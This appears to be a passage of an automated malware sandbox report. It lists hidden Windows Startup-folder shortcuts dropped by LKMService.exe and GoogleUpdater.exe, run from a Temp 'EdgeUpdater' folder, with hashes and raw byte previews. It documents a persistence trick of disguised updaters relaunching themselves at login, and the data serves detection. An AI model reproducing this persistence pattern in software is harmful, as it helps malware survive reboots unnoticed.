Preview:	L..................F...."......P...M3.ZP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...R.,[P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_12f721a10ead40b1ae55ac94282a3417.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:23 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.93866257719541
Encrypted:	false
SSDEEP:	24:8pWRkeYl1RogKrA5+W8Ajfv/42egvqyFm:8pWRkr1R8AZjvgTyF
MD5:	A3DF1DFEA493D8A285FB2F097D55C331
SHA1:	E647F878C473D49850503EE146983525197DC4CD
SHA-256:	24EE7376556B70E1331CFACD271787CC9A0727B1B730F185F2C424097D6DEC83
SHA-512:	33413F2F132F0A3B2DA5276371A824DBDCA498662A5E647EC5C3ECE2048EE95D820A94308E29938B7E8F6A73A0B97BF4B8FF5BD1A261708D2709D173FF66445F
Malicious:	false
Preview:	L..................F...."......P....0.P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_13ab457068c342afb09cdd1b1fab564b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:25 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.943670934456638
Encrypted:	false
SSDEEP:	24:8pBjRkeYl1RogKrA5+W8Ajfv/42egvqyFm:8pBRkr1R8AZjvgTyF
MD5:	C4CFAB8C605E0FAC45EEA845C80E3DAF
SHA1:	DFC6C113E034AC334D01C02FE6F2960C6D32C2B7
SHA-256:	333DC8F0ABF2562D377AB503A6131DD225F7DD3C0003A95CAD1831E7F4EA65D8
SHA-512:	DDC21D337BBAFFDDBA55741472BD23805FAE2804FDA6089BC325DA54A30068A7EEBA005D4A755992C9B8002A21A0494B684B49ACB11606DC18ACD71E0AE8972A
Malicious:	false
Preview:	L..................F...."......P.....m.P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_13d33fad7e1144ec89102dc080b31912.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:06 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.938846954692358
Encrypted:	false
SSDEEP:	24:8p/RjeYl1RogKrA5+W8Ajfv/42egvqyFm:8p/Rjr1R8AZjvgTyF
MD5:	6A4B2BECB908AD1698DCCCB80F2F48AA
SHA1:	C2B71EE32D71890E5FE75AD4677822CDAD83F80E
SHA-256:	1970292CE54953E44EC8F3706C8CFD54801D2E9343F056F1AC3BACECCDBB31CD
SHA-512:	7DB4CD7F3F7D5614E804551C320AF10AE3DCD41D8C81AA0861B3DE3A36B7567A2E06D20241ED25D208FA691EBFAAB0AF795EBBB7AABC31C19DB6ABCD675B228F
Malicious:	false
Preview:	L..................F...."......P....."P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_13d93427430c4866a3935999ad0995c5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:27 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.938281832481592
Encrypted:	false
SSDEEP:	24:8pYRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pYRjr1R8AZjvgTyF
MD5:	3CFA8F6CEE9246FC1FE040693A85AB6A
SHA1:	0E3142FB2989EF31068EB4C3CDDED3AA7001BEF5
SHA-256:	E1D19D1F665ED458AB6574762571DD29D5DA70CEF8AEF3EFB89035E72A938ABE
SHA-512:	9228C30290B9CDA065B6C4F5A94204B3D0925865445C0A0D1D9DBFA52541C57042F2055E6BEB775F1BB9F6B4965B8981BA3D236CB08DD39B69508B0F98663473
Malicious:	false
Preview:	L..................F...."......P.....L/P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_151ad724e88b4541bb35e81bd15c75d7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:55:14 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.93527770277381
Encrypted:	false
SSDEEP:	24:8pnRfeYl1RogKrA5+W8Ajfv/42egvqyFm:8pnRfr1R8AZjvgTyF
MD5:	8C6947236BD12571F929AC809FEDC215
SHA1:	92BE24D0D5A5B932994BFA13334421CCEE4AF87D
SHA-256:	034D4E35A022B70161682929DACC31A6BC5FB5B08FFE50BAF22DAB6CC92A613D
SHA-512:	7C93A4FFA2D97608A7015A38F1A330881F10C5EFF2AA355DB818DC616E81E2ACB899C74B0A9BB47637A680AB13E880EFA53E2B6886A76358284A350FE019006F
Malicious:	false
Preview:	L..................F...."......P...?.2oP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...c..lP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_16b570f0f5a744ad926af9b2e57a508a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:31 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.940036751767646
Encrypted:	false
SSDEEP:	24:8prRkeYl1RogKrA5+W8Ajfv/42egvqyFm:8prRkr1R8AZjvgTyF
MD5:	E295F8E8A465DA3D6F685239040531E0
SHA1:	1B16602ACB72DB6BE4A496DF6A0805C9B109F5D0
SHA-256:	098ABD811302A689F4E02AB988FD25C96E70CB85360202CA3F4DD12A1099A565
SHA-512:	340864D9A1A30F6B4D7749A3C99F59F4CA66969049E94D740756A9D1589A11B1953B6678336BEFC45E803D729EC16F4F89888D3847065C9B473F0B886F0D70A3
Malicious:	false
Preview:	L..................F...."......P....B3.P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_1719a5a28a504c3f8cfaf2bf69f48e5a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:25 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.937300644150908
Encrypted:	false
SSDEEP:	24:8pVRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pVRjr1R8AZjvgTyF
MD5:	8C3155A2CECEBAB88405CA8E082C4779
SHA1:	6F5F2CEBDF0721515DE316B78399C7FBDF125D77
SHA-256:	32D4A86147CD2C9428122F6040AC5736AC157A68197FE5B79E213FDF39DDC506
SHA-512:	E82F6F1A047CDCE18C1F19578BBCF5F5CB90DA8971D0F744ED7B4E3A4C967CC99620B55555D3D041DB0FBDEAFE1CE963E89D0F3FC6BD5E76154C2D9A22D14423
Malicious:	false
Preview:	L..................F...."......P.......P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_18736ad6e96149a8837bebc178909564.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:51 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.942801979541928
Encrypted:	false
SSDEEP:	24:8pNRAeYl1RogKrA5+W8Ajfv/42egvqyFm:8pNRAr1R8AZjvgTyF
MD5:	D39730CA6D8A4AF80195024CAF78114F
SHA1:	6292099E543B7CB356E0649706B0D56BA8CA4C48
SHA-256:	B2ED9517A968754CC9692F3DB617C2D00863EE2354E6C6C1F63219A93D927DED
SHA-512:	59D695222792232AC71BAB7EB7B5354DA64F63B9F4C9F7D30F09D5D2DE9FEE4D7E2F1708BCCEF108D284E1490ABB17D575FB6412DD09EE7281BD9B1766D0B973
Malicious:	false
Preview:	L..................F...."......P......aP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......aP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_189716ad4c76443991e531bde2b1e834.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:45 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9479776036952545
Encrypted:	false
SSDEEP:	24:8pxRheYl1RogKrA5+W8Ajfv/42egvqyFm:8pxRhr1R8AZjvgTyF
MD5:	9AB69863FDA9F123BA95ED38A8409CB1
SHA1:	4EC1214E1B245607742B152FC9A7A2F6E4F24630
SHA-256:	B22BCF905D940E46B9B0B8CF70D679E0FEE101B26B3AD3E8CFA787C6221EBA52
SHA-512:	A4B5F4347D4E7438681A6E510ACC660D82BCAF8C7E2E56C1212A85AECE40F251E879AC5294B295677B8741A7DDB5586BFE2A0A5645EDCA0DCB33A1191CDE6DE9
Malicious:	false
Preview:	L..................F...."......P.....]P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P....:@]P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_191408fc2b864810b50a973cb5e264d7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:36 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.942500620576544
Encrypted:	false
SSDEEP:	24:8pjR2eYl1RogKrA5+W8Ajfv/42egvqyFm:8pjR2r1R8AZjvgTyF
MD5:	E73EEF1AB7AB1439DCC2623DE312622B
SHA1:	623667BC7622ECC172F596BDEB5D599BCA7ACD7A
SHA-256:	8F0017A2A05ADB8C86B277A034F87ABEFB0FB90ADAF17C13CD24AE687DCBD1BE
SHA-512:	591505D5E3407A1331B3E9C99BD7244B4D2B8D2D518D0031BF23D5E771A5810918606F7D2BF31CBF64457A6657BA7D1B72A92D20018631FEE1018820A60D338B
Malicious:	false
Preview:	L..................F...."......P...f!.XP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...f!.XP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_1aa037cc08fd4a80b821b3bca1553c25.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:44 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9376276775294405
Encrypted:	false
SSDEEP:	24:8pHRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pHRjr1R8AZjvgTyF
MD5:	C468592234A8220AD1B0CD2785FBCC15
SHA1:	3E0CA06A517403813C71E55885E6027CB8929C3E
SHA-256:	55666D10E9F7A829519438C11DEBDBC0CB7D49A3F2D0A3ADDF0BC6E0B63754C7
SHA-512:	0AA28FB38B2507C306F9A39ACF3B2CC050B403786626F36D6EB5BDD3738853D68E1D8F7B770AAF29A8DB9249493C15ED68CBDE08717C0F507CD6DF37A4633842
Malicious:	false
Preview:	L..................F...."......P......9P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_1adef8d2980c4340a53115438b966ff1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:07 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.941724515480725
Encrypted:	false
SSDEEP:	24:8pHqRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pKRjr1R8AZjvgTyF
MD5:	F8A5917B650053071490D67A2453AA75
SHA1:	CEBB1DA662EC0091DFE3C00CFB181B0B5742B519
SHA-256:	ABFC0FB1F579CC003EAAADB537BA564012C497F7C818071263968EF4384F6BBA
SHA-512:	F47EEC39A0345BAB6746919E38F587452BEE636BD7ED7BAE4F176FE5E814770EC2DA1CECD6786A6AAB4D1CFBBEB6088598CEBD6F75A29545420D2ACEA13A50B3
Malicious:	false
Preview:	L..................F...."......P.....`#P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_1af8b363b24d45a5bab49af667a231a4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:55:01 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.942135891879895
Encrypted:	false
SSDEEP:	24:8p9ARSCeYl1RogKrA5+W8Ajfv/42egvqyFm:8p9ARzr1R8AZjvgTyF
MD5:	9C555B5FBB2A3B8D6497F6E35E7C81B1
SHA1:	CB34E38F0563CF3E621E09D842AFCF0401A863E1
SHA-256:	4F421B0B383975E6DE60A4E2F70CCE6E75FA90BBD43358AE118E298BACDC9643
SHA-512:	A5DD61D263ABF3AFE71813BD2C462F71DDDA9C180E21A3132449D8818EC7D31A01369FF0E3C6E26383FDF2003DA06026AEFDA6CD4AC3EB00C276DB6C77556A59
Malicious:	false
